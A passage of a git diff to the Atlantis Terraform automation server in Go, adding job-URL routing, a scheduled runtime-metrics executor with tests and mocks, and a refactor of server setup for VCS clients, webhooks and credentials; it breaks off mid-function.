_, notContain := range tt.expNotContains { + if strings.Contains(got, notContain) { + t.Fatalf("expected stack to not contain %q but got:\n%s", notContain, got) + } + } + }) + } +} + +func recoveryTestFunc1(f func() string) string { + return recoveryTestFunc2(f) +} + +func recoveryTestFunc2(f func() string) string { + return f() +} diff --git a/server/router.go b/server/router.go index 18e1055949..65f72031cb 100644 --- a/server/router.go +++ b/server/router.go @@ -1,9 +1,12 @@ package server import ( + "fmt" "net/url" "github.com/gorilla/mux" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" ) // Router can be used to retrieve Atlantis URLs. It acts as an intermediary @@ -15,6 +18,8 @@ type Router struct { // LockViewRouteName is the named route for the lock view that can be Get'd // from the Underlying router. LockViewRouteName string + // ProjectJobsViewRouteName is the named route for the projects active jobs + ProjectJobsViewRouteName string // LockViewRouteIDQueryParam is the query parameter needed to construct the // lock view: underlying.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, "my id"). LockViewRouteIDQueryParam string @@ -33,3 +38,28 @@ func (r *Router) GenerateLockURL(lockID string) string { // golang likes to double escape the lockURL path when using url.Parse(). return r.AtlantisURL.String() + lockURL.String() } + +func (r *Router) GenerateProjectJobURL(ctx command.ProjectContext) (string, error) { + if ctx.JobID == "" { + return "", fmt.Errorf("no job id in ctx") + } + jobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL( + "job-id", ctx.JobID, + ) + if err != nil { + return "", errors.Wrapf(err, "creating job url for %s", ctx.JobID) + } + + return r.AtlantisURL.String() + jobURL.String(), nil +} + +func (r *Router) GenerateProjectWorkflowHookURL(hookID string) (string, error) { + jobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL( + "job-id", hookID, + ) + if err != nil { + return "", errors.Wrapf(err, "creating workflow hook url for %s", hookID) + } + + return r.AtlantisURL.String() + jobURL.String(), nil +} diff --git a/server/router_test.go b/server/router_test.go index 3a79d56404..02cb51668b 100644 --- a/server/router_test.go +++ b/server/router_test.go @@ -1,12 +1,17 @@ package server_test import ( + "fmt" "net/http" "testing" + "github.com/google/uuid" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/require" ) func TestRouter_GenerateLockURL(t *testing.T) { @@ -60,3 +65,48 @@ func TestRouter_GenerateLockURL(t *testing.T) { }) } } + +func setupJobsRouter(t *testing.T) *server.Router { + atlantisURL, err := server.ParseAtlantisURL("http://localhost:4141") + Ok(t, err) + + underlyingRouter := mux.NewRouter() + underlyingRouter.HandleFunc("/jobs/{job-id}", func(_ http.ResponseWriter, _ *http.Request) {}).Methods("GET").Name("project-jobs-detail") + + return &server.Router{ + AtlantisURL: atlantisURL, + Underlying: underlyingRouter, + ProjectJobsViewRouteName: "project-jobs-detail", + } +} + +func TestGenerateProjectJobURL_ShouldGenerateURLWhenJobIDSpecified(t *testing.T) { + router := setupJobsRouter(t) + jobID := uuid.New().String() + ctx := command.ProjectContext{ + JobID: jobID, + } + expectedURL := fmt.Sprintf("http://localhost:4141/jobs/%s", jobID) + gotURL, err := router.GenerateProjectJobURL(ctx) + Ok(t, err) + + Equals(t, expectedURL, gotURL) +} + +func TestGenerateProjectJobURL_ShouldReturnErrorWhenJobIDNotSpecified(t *testing.T) { + router := setupJobsRouter(t) + ctx := command.ProjectContext{ + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + Owner: "test-owner", + Name: "test-repo", + }, + Num: 1, + }, + RepoRelDir: "ops/terraform/", + } + expectedErrString := "no job id in ctx" + gotURL, err := router.GenerateProjectJobURL(ctx) + require.EqualError(t, err, expectedErrString) + Equals(t, "", gotURL) +} diff --git a/server/scheduled/executor_service.go b/server/scheduled/executor_service.go new file mode 100644 index 0000000000..bfee89a035 --- /dev/null +++ b/server/scheduled/executor_service.go @@ -0,0 +1,108 @@ +package scheduled + +import ( + "context" + "os" + "os/signal" + "sync" + "syscall" + "time" + + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" +) + +type ExecutorService struct { + log logging.SimpleLogging + + // jobs + jobs []JobDefinition +} + +func NewExecutorService( + statsScope tally.Scope, + log logging.SimpleLogging, +) *ExecutorService { + + scheduledScope := statsScope.SubScope("scheduled") + runtimeStatsPublisher := NewRuntimeStats(scheduledScope) + + runtimeStatsPublisherJob := JobDefinition{ + Job: runtimeStatsPublisher, + Period: 10 * time.Second, + } + + return &ExecutorService{ + log: log, + jobs: []JobDefinition{runtimeStatsPublisherJob}, + } +} + +func (s *ExecutorService) AddJob(jd JobDefinition) { + s.jobs = append(s.jobs, jd) +} + +type JobDefinition struct { + Job Job + Period time.Duration +} + +func (s *ExecutorService) Run() { + s.log.Info("Scheduled Executor Service started") + + ctx, cancel := context.WithCancel(context.Background()) + + var wg sync.WaitGroup + + for _, jd := range s.jobs { + s.runScheduledJob(ctx, &wg, jd) + } + + interrupt := make(chan os.Signal, 1) + + // Stop on SIGINTs and SIGTERMs. + signal.Notify(interrupt, os.Interrupt, syscall.SIGTERM) + + <-interrupt + + s.log.Warn("Received interrupt. Attempting to Shut down scheduled executor service") + + cancel() + wg.Wait() + + s.log.Warn("All jobs completed, exiting.") +} + +func (s *ExecutorService) runScheduledJob(ctx context.Context, wg *sync.WaitGroup, jd JobDefinition) { + ticker := time.NewTicker(jd.Period) + wg.Add(1) + + go func() { + defer wg.Done() + defer ticker.Stop() + + // Ensure we recover from any panics to keep the jobs isolated. + // Keep the recovery outside the select to ensure that we don't infinitely panic. + defer func() { + if r := recover(); r != nil { + s.log.Err("Recovered from panic: %v", r) + } + }() + + for { + select { + case <-ctx.Done(): + s.log.Warn("Received interrupt, cancelling job") + return + case <-ticker.C: + jd.Job.Run() + } + } + }() + +} + +//go:generate pegomock generate --package mocks -o mocks/mock_executor_service_job.go Job +type Job interface { + Run() +} diff --git a/server/scheduled/executor_service_test.go b/server/scheduled/executor_service_test.go new file mode 100644 index 0000000000..a3dcbedb4b --- /dev/null +++ b/server/scheduled/executor_service_test.go @@ -0,0 +1,48 @@ +package scheduled + +import ( + "testing" + "time" + + pegomock "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/scheduled/mocks" +) + +func TestExecutorService_Run(t *testing.T) { + pegomock.RegisterMockTestingT(t) + mockJob := mocks.NewMockJob() + type fields struct { + log logging.SimpleLogging + jobs []JobDefinition + } + tests := []struct { + name string + fields fields + }{ + { + name: "test", + fields: fields{ + log: logging.NewNoopLogger(t), + jobs: []JobDefinition{ + { + Job: mockJob, + Period: 1 * time.Second, + }, + }, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + s := &ExecutorService{ + log: tt.fields.log, + jobs: make([]JobDefinition, 0), + } + s.AddJob(tt.fields.jobs[0]) + go s.Run() + time.Sleep(1050 * time.Millisecond) + mockJob.VerifyWasCalledOnce().Run() + }) + } +} diff --git a/server/scheduled/mocks/mock_executor_service_job.go b/server/scheduled/mocks/mock_executor_service_job.go new file mode 100644 index 0000000000..4bfaf2f666 --- /dev/null +++ b/server/scheduled/mocks/mock_executor_service_job.go @@ -0,0 +1,87 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/scheduled (interfaces: Job) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockJob struct { + fail func(message string, callerSkip ...int) +} + +func NewMockJob(options ...pegomock.Option) *MockJob { + mock := &MockJob{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockJob) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockJob) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockJob) Run() { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockJob().") + } + _params := []pegomock.Param{} + pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{}) +} + +func (mock *MockJob) VerifyWasCalledOnce() *VerifierMockJob { + return &VerifierMockJob{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockJob) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJob { + return &VerifierMockJob{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockJob) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJob { + return &VerifierMockJob{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockJob) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJob { + return &VerifierMockJob{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockJob struct { + mock *MockJob + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockJob) Run() *MockJob_Run_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockJob_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockJob_Run_OngoingVerification struct { + mock *MockJob + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockJob_Run_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockJob_Run_OngoingVerification) GetAllCapturedArguments() { +} diff --git a/server/scheduled/runtime_stats.go b/server/scheduled/runtime_stats.go new file mode 100644 index 0000000000..208b0acf49 --- /dev/null +++ b/server/scheduled/runtime_stats.go @@ -0,0 +1,133 @@ +package scheduled + +import ( + "runtime" + + tally "github.com/uber-go/tally/v4" +) + +type RuntimeStatCollector struct { + runtimeMetrics runtimeMetrics +} + +type runtimeMetrics struct { + cpuGoroutines tally.Gauge + cpuCgoCalls tally.Gauge + + memoryAlloc tally.Gauge + memoryTotal tally.Gauge + memorySys tally.Gauge + memoryLookups tally.Gauge + memoryMalloc tally.Gauge + memoryFrees tally.Gauge + + memoryHeapAlloc tally.Gauge + memoryHeapSys tally.Gauge + memoryHeapIdle tally.Gauge + memoryHeapInuse tally.Gauge + memoryHeapReleased tally.Gauge + memoryHeapObjects tally.Gauge + + memoryStackInuse tally.Gauge + memoryStackSys tally.Gauge + memoryStackMSpanInuse tally.Gauge + memoryStackMSpanSys tally.Gauge + memoryStackMCacheInuse tally.Gauge + memoryStackMCacheSys tally.Gauge + + memoryOtherSys tally.Gauge + + memoryGCSys tally.Gauge + memoryGCNext tally.Gauge + memoryGCLast tally.Gauge + memoryGCPauseTotal tally.Gauge + memoryGCCount tally.Gauge +} + +func NewRuntimeStats(scope tally.Scope) *RuntimeStatCollector { + runtimeScope := scope.SubScope("runtime") + cpuScope := runtimeScope.SubScope("cpu") + memoryScope := runtimeScope.SubScope("memory") + heapScope := memoryScope.SubScope("heap") + stackScope := memoryScope.SubScope("stack") + gcScope := memoryScope.SubScope("gc") + runtimeMetrics := runtimeMetrics{ + // cpu + cpuGoroutines: cpuScope.Gauge("goroutines"), + cpuCgoCalls: cpuScope.Gauge("cgo_calls"), + // memory + memoryAlloc: memoryScope.Gauge("alloc"), + memoryTotal: memoryScope.Gauge("total"), + memorySys: memoryScope.Gauge("sys"), + memoryLookups: memoryScope.Gauge("lookups"), + memoryMalloc: memoryScope.Gauge("malloc"), + memoryFrees: memoryScope.Gauge("frees"), + // heap + memoryHeapAlloc: heapScope.Gauge("alloc"), + memoryHeapSys: heapScope.Gauge("sys"), + memoryHeapIdle: heapScope.Gauge("idle"), + memoryHeapInuse: heapScope.Gauge("inuse"), + memoryHeapReleased: heapScope.Gauge("released"), + memoryHeapObjects: heapScope.Gauge("objects"), + // stack + memoryStackInuse: stackScope.Gauge("inuse"), + memoryStackSys: stackScope.Gauge("sys"), + memoryStackMSpanInuse: stackScope.Gauge("mspan_inuse"), + memoryStackMSpanSys: stackScope.Gauge("sys"), + memoryStackMCacheInuse: stackScope.Gauge("mcache_inuse"), + memoryStackMCacheSys: stackScope.Gauge("mcache_sys"), + memoryOtherSys: memoryScope.Gauge("othersys"), + // GC + memoryGCSys: gcScope.Gauge("sys"), + memoryGCNext: gcScope.Gauge("next"), + memoryGCLast: gcScope.Gauge("last"), + memoryGCPauseTotal: gcScope.Gauge("pause_total"), + memoryGCCount: gcScope.Gauge("count"), + } + + return &RuntimeStatCollector{ + runtimeMetrics: runtimeMetrics, + } +} + +func (r *RuntimeStatCollector) Run() { + // cpu stats + r.runtimeMetrics.cpuGoroutines.Update(float64(runtime.NumGoroutine())) + r.runtimeMetrics.cpuCgoCalls.Update(float64(runtime.NumCgoCall())) + + var memStats runtime.MemStats + runtime.ReadMemStats(&memStats) + + // general + r.runtimeMetrics.memoryAlloc.Update(float64(memStats.Alloc)) + r.runtimeMetrics.memoryTotal.Update(float64(memStats.TotalAlloc)) + r.runtimeMetrics.memorySys.Update(float64(memStats.Sys)) + r.runtimeMetrics.memoryLookups.Update(float64(memStats.Lookups)) + r.runtimeMetrics.memoryMalloc.Update(float64(memStats.Mallocs)) + r.runtimeMetrics.memoryFrees.Update(float64(memStats.Frees)) + + // heap + r.runtimeMetrics.memoryHeapAlloc.Update(float64(memStats.HeapAlloc)) + r.runtimeMetrics.memoryHeapSys.Update(float64(memStats.HeapSys)) + r.runtimeMetrics.memoryHeapIdle.Update(float64(memStats.HeapIdle)) + r.runtimeMetrics.memoryHeapInuse.Update(float64(memStats.HeapInuse)) + r.runtimeMetrics.memoryHeapReleased.Update(float64(memStats.HeapReleased)) + r.runtimeMetrics.memoryHeapObjects.Update(float64(memStats.HeapObjects)) + + // stack + r.runtimeMetrics.memoryStackInuse.Update(float64(memStats.StackInuse)) + r.runtimeMetrics.memoryStackSys.Update(float64(memStats.StackSys)) + r.runtimeMetrics.memoryStackMSpanInuse.Update(float64(memStats.MSpanInuse)) + r.runtimeMetrics.memoryStackMSpanSys.Update(float64(memStats.MSpanSys)) + r.runtimeMetrics.memoryStackMCacheInuse.Update(float64(memStats.MCacheInuse)) + r.runtimeMetrics.memoryStackMCacheSys.Update(float64(memStats.MCacheSys)) + r.runtimeMetrics.memoryOtherSys.Update(float64(memStats.OtherSys)) + + // GC + r.runtimeMetrics.memoryGCSys.Update(float64(memStats.GCSys)) + r.runtimeMetrics.memoryGCNext.Update(float64(memStats.NextGC)) + r.runtimeMetrics.memoryGCLast.Update(float64(memStats.LastGC)) + r.runtimeMetrics.memoryGCPauseTotal.Update(float64(memStats.PauseTotalNs)) + r.runtimeMetrics.memoryGCCount.Update(float64(memStats.NumGC)) + +} diff --git a/server/scheduled/runtime_stats_test.go b/server/scheduled/runtime_stats_test.go new file mode 100644 index 0000000000..d32e3323ae --- /dev/null +++ b/server/scheduled/runtime_stats_test.go @@ -0,0 +1,18 @@ +package scheduled + +import ( + "testing" + + tally "github.com/uber-go/tally/v4" +) + +func TestRuntimeStatCollector_Run(t *testing.T) { + scope := tally.NewTestScope("test", nil) + r := NewRuntimeStats(scope) + r.Run() + + expGaugeCount := 25 + if len(scope.Snapshot().Gauges()) != expGaugeCount { + t.Errorf("Expected %d gauges but got %d", expGaugeCount, len(scope.Snapshot().Gauges())) + } +} diff --git a/server/server.go b/server/server.go index 5e8ee13c2d..1d372eeeaf 100644 --- a/server/server.go +++ b/server/server.go @@ -17,40 +17,58 @@ package server import ( "context" - "encoding/json" + "crypto/tls" + "embed" "flag" "fmt" + "io" "log" "net/http" + "net/http/pprof" "net/url" "os" "os/signal" + "path/filepath" + "slices" "sort" "strings" "syscall" "time" + "github.com/go-playground/validator/v10" "github.com/mitchellh/go-homedir" - "github.com/runatlantis/atlantis/server/events/db" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + tally "github.com/uber-go/tally/v4" + prometheus "github.com/uber-go/tally/v4/prometheus" + "github.com/urfave/negroni/v3" + + cfg "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/core/redis" + "github.com/runatlantis/atlantis/server/core/terraform/tfclient" + "github.com/runatlantis/atlantis/server/jobs" + "github.com/runatlantis/atlantis/server/metrics" + "github.com/runatlantis/atlantis/server/scheduled" - assetfs "github.com/elazarl/go-bindata-assetfs" "github.com/gorilla/mux" "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/controllers" + events_controllers "github.com/runatlantis/atlantis/server/controllers/events" + "github.com/runatlantis/atlantis/server/controllers/web_templates" + "github.com/runatlantis/atlantis/server/controllers/websocket" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/core/runtime/policy" + "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/locking" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" + "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/events/webhooks" - "github.com/runatlantis/atlantis/server/events/yaml" "github.com/runatlantis/atlantis/server/logging" - "github.com/runatlantis/atlantis/server/static" - "github.com/urfave/cli" - "github.com/urfave/negroni" ) const ( @@ -62,36 +80,65 @@ const ( // route. ex: // mux.Router.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, "my id") LockViewRouteIDQueryParam = "id" + // ProjectJobsViewRouteName is the named route in mux.Router for the log stream view. + ProjectJobsViewRouteName = "project-jobs-detail" + // binDirName is the name of the directory inside our data dir where + // we download binaries. + BinDirName = "bin" + // terraformPluginCacheDir is the name of the dir inside our data dir + // where we tell terraform to cache plugins and modules. + TerraformPluginCacheDirName = "plugin-cache" ) // Server runs the Atlantis web server. type Server struct { - AtlantisVersion string - AtlantisURL *url.URL - Router *mux.Router - Port int - CommandRunner *events.DefaultCommandRunner - Logger *logging.SimpleLogger - Locker locking.Locker - EventsController *EventsController - GithubAppController *GithubAppController - LocksController *LocksController - StatusController *StatusController - IndexTemplate TemplateWriter - LockDetailTemplate TemplateWriter - SSLCertFile string - SSLKeyFile string - Drainer *events.Drainer + AtlantisVersion string + AtlantisURL *url.URL + Router *mux.Router + Port int + PostWorkflowHooksCommandRunner *events.DefaultPostWorkflowHooksCommandRunner + PreWorkflowHooksCommandRunner *events.DefaultPreWorkflowHooksCommandRunner + CommandRunner *events.DefaultCommandRunner + Logger logging.SimpleLogging + StatsScope tally.Scope + StatsReporter tally.BaseStatsReporter + StatsCloser io.Closer + Locker locking.Locker + ApplyLocker locking.ApplyLocker + VCSEventsController *events_controllers.VCSEventsController + GithubAppController *controllers.GithubAppController + LocksController *controllers.LocksController + StatusController *controllers.StatusController + JobsController *controllers.JobsController + APIController *controllers.APIController + IndexTemplate web_templates.TemplateWriter + LockDetailTemplate web_templates.TemplateWriter + ProjectJobsTemplate web_templates.TemplateWriter + ProjectJobsErrorTemplate web_templates.TemplateWriter + SSLCertFile string + SSLKeyFile string + CertLastRefreshTime time.Time + KeyLastRefreshTime time.Time + SSLCert *tls.Certificate + Drainer *events.Drainer + WebAuthentication bool + WebUsername string + WebPassword string + ProjectCmdOutputHandler jobs.ProjectCommandOutputHandler + ScheduledExecutorService *scheduled.ExecutorService + DisableGlobalApplyLock bool + EnableProfilingAPI bool } // Config holds config for server that isn't passed in by the user. type Config struct { - AllowForkPRsFlag string - AtlantisURLFlag string - AtlantisVersion string - DefaultTFVersionFlag string - RepoConfigJSONFlag string - SilenceForkPRErrorsFlag string + AllowForkPRsFlag string + AtlantisURLFlag string + AtlantisVersion string + DefaultTFDistributionFlag string + DefaultTFVersionFlag string + RepoConfigJSONFlag string + SilenceForkPRErrorsFlag string } // WebhookConfig is nested within UserConfig. It's used to configure webhooks. @@ -102,52 +149,144 @@ type WebhookConfig struct { // that is being modified for this event. If the regex matches, we'll // send the webhook, ex. "production.*". WorkspaceRegex string `mapstructure:"workspace-regex"` - // Kind is the type of webhook we should send, ex. slack. + // BranchRegex is a regex that is used to match against the base branch + // that is being modified for this event. If the regex matches, we'll + // send the webhook, ex. "main.*". + BranchRegex string `mapstructure:"branch-regex"` + // Kind is the type of webhook we should send, ex. slack or http. Kind string `mapstructure:"kind"` // Channel is the channel to send this webhook to. It only applies to // slack webhooks. Should be without '#'. Channel string `mapstructure:"channel"` + // URL is the URL where to deliver this webhook. It only applies to + // http webhooks. + URL string `mapstructure:"url"` } +//go:embed static +var staticAssets embed.FS + // NewServer returns a new server. If there are issues starting the server or // its dependencies an error will be returned. This is like the main() function // for the server CLI command because it injects all the dependencies. func NewServer(userConfig UserConfig, config Config) (*Server, error) { - logger := logging.NewSimpleLogger("server", false, userConfig.ToLogLevel()) + logging.SuppressDefaultLogging() + logger, err := logging.NewStructuredLoggerFromLevel(userConfig.ToLogLevel()) + + if err != nil { + return nil, err + } + var supportedVCSHosts []models.VCSHostType - var githubClient *vcs.GithubClient + var githubClient vcs.IGithubClient var githubAppEnabled bool + var githubConfig vcs.GithubConfig var githubCredentials vcs.GithubCredentials var gitlabClient *vcs.GitlabClient var bitbucketCloudClient *bitbucketcloud.Client var bitbucketServerClient *bitbucketserver.Client var azuredevopsClient *vcs.AzureDevopsClient + var giteaClient *gitea.GiteaClient + + policyChecksEnabled := false + if userConfig.EnablePolicyChecksFlag { + logger.Info("Policy Checks are enabled") + policyChecksEnabled = true + } + + allowCommands, err := userConfig.ToAllowCommandNames() + if err != nil { + return nil, err + } + disableApply := true + for _, allowCommand := range allowCommands { + if allowCommand == command.Apply { + disableApply = false + break + } + } + + parserValidator := &cfg.ParserValidator{} + + globalCfg := valid.NewGlobalCfgFromArgs( + valid.GlobalCfgArgs{ + PolicyCheckEnabled: userConfig.EnablePolicyChecksFlag, + }) + if userConfig.RepoConfig != "" { + globalCfg, err = parserValidator.ParseGlobalCfg(userConfig.RepoConfig, globalCfg) + if err != nil { + return nil, errors.Wrapf(err, "parsing %s file", userConfig.RepoConfig) + } + } else if userConfig.RepoConfigJSON != "" { + globalCfg, err = parserValidator.ParseGlobalCfgJSON(userConfig.RepoConfigJSON, globalCfg) + if err != nil { + return nil, errors.Wrapf(err, "parsing --%s", config.RepoConfigJSONFlag) + } + } + + statsScope, statsReporter, closer, err := metrics.NewScope(globalCfg.Metrics, logger, userConfig.StatsNamespace) + + if err != nil { + return nil, errors.Wrapf(err, "instantiating metrics scope") + } + if userConfig.GithubUser != "" || userConfig.GithubAppID != 0 { + if userConfig.GithubAllowMergeableBypassApply { + githubConfig = vcs.GithubConfig{ + AllowMergeableBypassApply: true, + } + } supportedVCSHosts = append(supportedVCSHosts, models.Github) if userConfig.GithubUser != "" { githubCredentials = &vcs.GithubUserCredentials{ - User: userConfig.GithubUser, - Token: userConfig.GithubToken, + User: userConfig.GithubUser, + Token: userConfig.GithubToken, + TokenFile: userConfig.GithubTokenFile, + } + } else if userConfig.GithubAppID != 0 && userConfig.GithubAppKeyFile != "" { + privateKey, err := os.ReadFile(userConfig.GithubAppKeyFile) + if err != nil { + return nil, err } - } else if userConfig.GithubAppID != 0 { githubCredentials = &vcs.GithubAppCredentials{ - AppID: userConfig.GithubAppID, - KeyPath: userConfig.GithubAppKey, - Hostname: userConfig.GithubHostname, + AppID: userConfig.GithubAppID, + InstallationID: userConfig.GithubAppInstallationID, + Key: privateKey, + Hostname: userConfig.GithubHostname, + AppSlug: userConfig.GithubAppSlug, + } + githubAppEnabled = true + } else if userConfig.GithubAppID != 0 && userConfig.GithubAppKey != "" { + githubCredentials = &vcs.GithubAppCredentials{ + AppID: userConfig.GithubAppID, + InstallationID: userConfig.GithubAppInstallationID, + Key: []byte(userConfig.GithubAppKey), + Hostname: userConfig.GithubHostname, + AppSlug: userConfig.GithubAppSlug, } githubAppEnabled = true } var err error - githubClient, err = vcs.NewGithubClient(userConfig.GithubHostname, githubCredentials, logger) + rawGithubClient, err := vcs.NewGithubClient(userConfig.GithubHostname, githubCredentials, githubConfig, userConfig.MaxCommentsPerCommand, logger) if err != nil { return nil, err } + + githubClient = vcs.NewInstrumentedGithubClient(rawGithubClient, statsScope, logger) } if userConfig.GitlabUser != "" { supportedVCSHosts = append(supportedVCSHosts, models.Gitlab) var err error - gitlabClient, err = vcs.NewGitlabClient(userConfig.GitlabHostname, userConfig.GitlabToken, logger) + + gitlabGroupAllowlistChecker, err := command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist) + if err != nil { + return nil, err + } + + gitlabGroups := slices.Concat(gitlabGroupAllowlistChecker.AllTeams(), globalCfg.PolicySets.AllTeams()) + slices.Sort(gitlabGroups) + gitlabClient, err = vcs.NewGitlabClient(userConfig.GitlabHostname, userConfig.GitlabToken, slices.Compact(gitlabGroups), logger) if err != nil { return nil, err } @@ -176,25 +315,45 @@ func NewServer(userConfig UserConfig, config Config) (*Server, error) { } if userConfig.AzureDevopsUser != "" { supportedVCSHosts = append(supportedVCSHosts, models.AzureDevops) + var err error - azuredevopsClient, err = vcs.NewAzureDevopsClient("dev.azure.com", userConfig.AzureDevopsToken) + azuredevopsClient, err = vcs.NewAzureDevopsClient(userConfig.AzureDevOpsHostname, userConfig.AzureDevopsUser, userConfig.AzureDevopsToken) if err != nil { return nil, err } } + if userConfig.GiteaToken != "" { + supportedVCSHosts = append(supportedVCSHosts, models.Gitea) - if userConfig.WriteGitCreds { - home, err := homedir.Dir() + giteaClient, err = gitea.NewClient(userConfig.GiteaBaseURL, userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaPageSize, logger) if err != nil { - return nil, errors.Wrap(err, "getting home dir to write ~/.git-credentials file") + fmt.Println("error setting up gitea client", "error", err) + return nil, errors.Wrapf(err, "setting up Gitea client") + } else { + logger.Info("gitea client configured successfully") } + } + + var supportedVCSHostsStr []string + for _, host := range supportedVCSHosts { + supportedVCSHostsStr = append(supportedVCSHostsStr, host.String()) + } + + logger.Info("Supported VCS Hosts: %s", strings.Join(supportedVCSHostsStr, ", ")) + + home, err := homedir.Dir() + if err != nil { + return nil, errors.Wrap(err, "getting home dir to write ~/.git-credentials file") + } + + if userConfig.WriteGitCreds { if userConfig.GithubUser != "" { - if err := events.WriteGitCreds(userConfig.GithubUser, userConfig.GithubToken, userConfig.GithubHostname, home, logger, false); err != nil { + if err := vcs.WriteGitCreds(userConfig.GithubUser, userConfig.GithubToken, userConfig.GithubHostname, home, logger, false); err != nil { return nil, err } } if userConfig.GitlabUser != "" { - if err := events.WriteGitCreds(userConfig.GitlabUser, userConfig.GitlabToken, userConfig.GitlabHostname, home, logger, false); err != nil { + if err := vcs.WriteGitCreds(userConfig.GitlabUser, userConfig.GitlabToken, userConfig.GitlabHostname, home, logger, false); err != nil { return nil, err } } @@ -205,67 +364,176 @@ func NewServer(userConfig UserConfig, config Config) (*Server, error) { if bitbucketBaseURL == "https://api.bitbucket.org" { bitbucketBaseURL = "bitbucket.org" } - if err := events.WriteGitCreds(userConfig.BitbucketUser, userConfig.BitbucketToken, bitbucketBaseURL, home, logger, false); err != nil { + if err := vcs.WriteGitCreds(userConfig.BitbucketUser, userConfig.BitbucketToken, bitbucketBaseURL, home, logger, false); err != nil { return nil, err } } if userConfig.AzureDevopsUser != "" { - if err := events.WriteGitCreds(userConfig.AzureDevopsUser, userConfig.AzureDevopsToken, "dev.azure.com", home, logger, false); err != nil { + if err := vcs.WriteGitCreds(userConfig.AzureDevopsUser, userConfig.AzureDevopsToken, "dev.azure.com", home, logger, false); err != nil { + return nil, err + } + } + if userConfig.GiteaUser != "" { + if err := vcs.WriteGitCreds(userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaBaseURL, home, logger, false); err != nil { return nil, err } } } + // default the project files used to generate the module index to the autoplan-file-list if autoplan-modules is true + // but no files are specified + if userConfig.AutoplanModules && userConfig.AutoplanModulesFromProjects == "" { + userConfig.AutoplanModulesFromProjects = userConfig.AutoplanFileList + } + var webhooksConfig []webhooks.Config for _, c := range userConfig.Webhooks { config := webhooks.Config{ Channel: c.Channel, + BranchRegex: c.BranchRegex, Event: c.Event, Kind: c.Kind, WorkspaceRegex: c.WorkspaceRegex, + URL: c.URL, } webhooksConfig = append(webhooksConfig, config) } - webhooksManager, err := webhooks.NewMultiWebhookSender(webhooksConfig, webhooks.NewSlackClient(userConfig.SlackToken)) + webhookHeaders, err := userConfig.ToWebhookHttpHeaders() + if err != nil { + return nil, errors.Wrap(err, "parsing webhook http headers") + } + webhooksManager, err := webhooks.NewMultiWebhookSender( + webhooksConfig, + webhooks.Clients{ + Slack: webhooks.NewSlackClient(userConfig.SlackToken), + Http: &webhooks.HttpClient{Client: http.DefaultClient, Headers: webhookHeaders}, + }, + ) if err != nil { return nil, errors.Wrap(err, "initializing webhooks") } - vcsClient := vcs.NewClientProxy(githubClient, gitlabClient, bitbucketCloudClient, bitbucketServerClient, azuredevopsClient) + vcsClient := vcs.NewClientProxy(githubClient, gitlabClient, bitbucketCloudClient, bitbucketServerClient, azuredevopsClient, giteaClient) commitStatusUpdater := &events.DefaultCommitStatusUpdater{Client: vcsClient, StatusName: userConfig.VCSStatusName} - terraformClient, err := terraform.NewClient( + + binDir, err := mkSubDir(userConfig.DataDir, BinDirName) + + if err != nil { + return nil, err + } + + 